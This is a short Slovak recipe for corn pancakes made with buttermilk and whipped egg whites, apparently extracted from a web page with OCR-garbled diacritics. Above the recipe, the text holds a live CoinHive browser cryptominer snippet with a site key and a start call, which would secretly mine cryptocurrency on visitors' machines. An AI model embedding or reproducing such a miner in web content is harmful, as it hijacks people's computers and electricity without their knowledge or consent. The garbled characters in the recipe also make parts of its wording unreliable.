KUKURICNE PLACKY

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Suroviny: 140g kukuri¢nej muky, 1 lyzica Promix Unik/Pk, 1 lyziCka prasku do peciva, sofl, 2
vajcia, 450 ml cmaru, olej. Do misky dame kukuriénd a Promix miku, praok do peéiva, 2 Zitky,
cmar a zmieSame. Nechame 20 minUt postat, potom primieSame sneh z 2 bielkov. Na panvicu
potretl olejom dame placku z dvoch lyZic cesta a opecieme z oboch stran. Chut vylepsime
pridanim postruhaného eidamu, nasekanou paprikou alebo orestovanym kuracim masom.
Placky sa podavaju so zeleninovym Salatom.

NieCo na zahryznutie od Ivky.




